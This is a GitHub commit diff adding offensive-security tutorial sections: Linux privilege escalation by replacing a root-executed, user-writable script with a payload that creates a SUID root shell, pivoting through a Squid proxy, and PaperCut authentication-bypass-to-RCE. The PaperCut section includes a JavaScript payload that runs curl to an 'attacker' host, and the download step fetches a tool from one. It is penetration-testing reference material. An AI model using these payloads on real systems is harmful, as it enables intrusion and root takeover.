You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/linux-hardening/privilege-escalation/write-to-root.md
+32Lines changed: 32 additions & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -60,6 +60,38 @@ Name=Evil Desktop Entry
60
60
61
61
For more info check [**this post**](https://chatgpt.com/c/67fac01f-0214-8006-9db3-19c40e45ee49) where it was used to exploit a real vulnerability.
62
62
63
+
### Root executing user-writable scripts/binaries
64
+
65
+
If a privileged workflow runs something like `/bin/sh /home/username/.../script` (or any binary inside a directory owned by an unprivileged user), you can hijack it:
66
+
67
+
-**Detect the execution:** monitor processes with [pspy](https://github.com/DominicBreuker/pspy) to catch root invoking user-controlled paths:
68
+
69
+
```bash
70
+
wget http://attacker/pspy64 -O /dev/shm/pspy64
71
+
chmod +x /dev/shm/pspy64
72
+
/dev/shm/pspy64 # wait for root commands pointing to your writable path
73
+
```
74
+
75
+
-**Confirm writeability:** ensure both the target file and its directory are owned/writable by your user.
76
+
-**Hijack the target:** backup the original binary/script and drop a payload that creates a SUID shell (or any other root action), then restore permissions:
77
+
78
+
```bash
79
+
mv server-command server-command.bk
80
+
cat > server-command <<'EOF'
81
+
#!/bin/bash
82
+
cp /bin/bash /tmp/rootshell
83
+
chown root:root /tmp/rootshell
84
+
chmod 6777 /tmp/rootshell
85
+
EOF
86
+
chmod +x server-command
87
+
```
88
+
89
+
-**Trigger the privileged action** (e.g., pressing a UI button that spawns the helper). When root re-executes the hijacked path, grab the escalated shell with `./rootshell -p`.
90
+
91
+
## References
92
+
93
+
-[HTB Bamboo – hijacking a root-executed script in a user-writable PaperCut directory](https://0xdf.gitlab.io/2026/02/03/htb-bamboo.html)
*Use Squid as a discovery pivot and a transparent upstream hop for CLI and browser tools.*
48
+
49
+
-**Scan “from” the proxy:** run SPOSE through Squid to enumerate ports reachable from the proxy host/loopback. With [uv](https://github.com/astral-sh/uv) you can install deps and scan all TCP ports directly:
50
+
51
+
```bash
52
+
uv add --script spose.py -r requirements.txt
53
+
uv run spose.py --proxy http://SQUID_IP:3128 --target localhost --allports
54
+
```
46
55
56
+
-**Proxychains for HTTP interaction:** append a strict HTTP entry at the bottom of `/etc/proxychains.conf`:
57
+
58
+
```ini
59
+
[ProxyList]
60
+
http SQUID_IP 3128
61
+
```
47
62
63
+
Then interact with internal listeners (e.g., a web UI bound to 127.0.0.1) transparently through Squid:
48
64
65
+
```bash
66
+
proxychains curl http://127.0.0.1:9191 -v
67
+
```
68
+
69
+
-**Chaining Burp/Browser → Squid:** configure Burp *Proxy → Settings → Network → Connections → Upstream proxy servers* to point to `http://SQUID_IP:3128`. Requests to internal hosts such as `http://127.0.0.1:9191` will traverse Browser → Burp → Squid → target, enabling full interception of services otherwise not reachable externally.
70
+
71
+
## References
72
+
73
+
-[SPOSE – Squid Pivoting Open Port Scanner](https://github.com/aancw/spose)
Copy file name to clipboardExpand all lines: src/pentesting-web/command-injection.md
+17-1Lines changed: 17 additions & 1 deletion
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -206,6 +206,21 @@ Example payloads:
206
206
207
207
Because these diagnostics are parsed by the JVM itself, no shell metacharacters are required and the command runs with the same integrity level as the launcher. Desktop IPC bugs that forward user-supplied JVM flags (see [Localhost WebSocket abuse](websocket-attacks.md#localhost-websocket-abuse--browser-port-discovery)) therefore translate directly into OS command execution.
- Vulnerable NG/MF builds (e.g., 22.0.5 Build 63914) expose `/app?service=page/SetupCompleted`; browsing there and clicking **Login** returns a valid `JSESSIONID` without credentials (authentication bypass in the setup flow).
212
+
- In **Options → Config Editor**, set `print-and-device.script.enabled=Y` and `print.script.sandboxed=N` to turn on printer scripting and disable the sandbox.
213
+
- In the printer **Scripting** tab, enable the script and keep `printJobHook` defined to avoid validation errors, but place the payload **outside** the function so it executes immediately when you click **Apply** (no print job needed):
214
+
215
+
```js
216
+
functionprintJobHook(inputs, actions) {}
217
+
cmd = ["bash","-c","curl http://attacker/hit"];
218
+
java.lang.Runtime.getRuntime().exec(cmd);
219
+
```
220
+
221
+
- Swap the callback for a reverse shell; if the UI/PoC cannot handle pipes/redirects, stage a payload with one command and exec it with a second request.
222
+
- Horizon3's [CVE-2023-27350.py](https://github.com/horizon3ai/CVE-2023-27350/blob/main/CVE-2023-27350.py) automates the auth bypass, config flips, command execution, and rollback—run it through an upstream proxy (e.g., `proxychains` → Squid) when the service is only reachable internally.
0 commit comments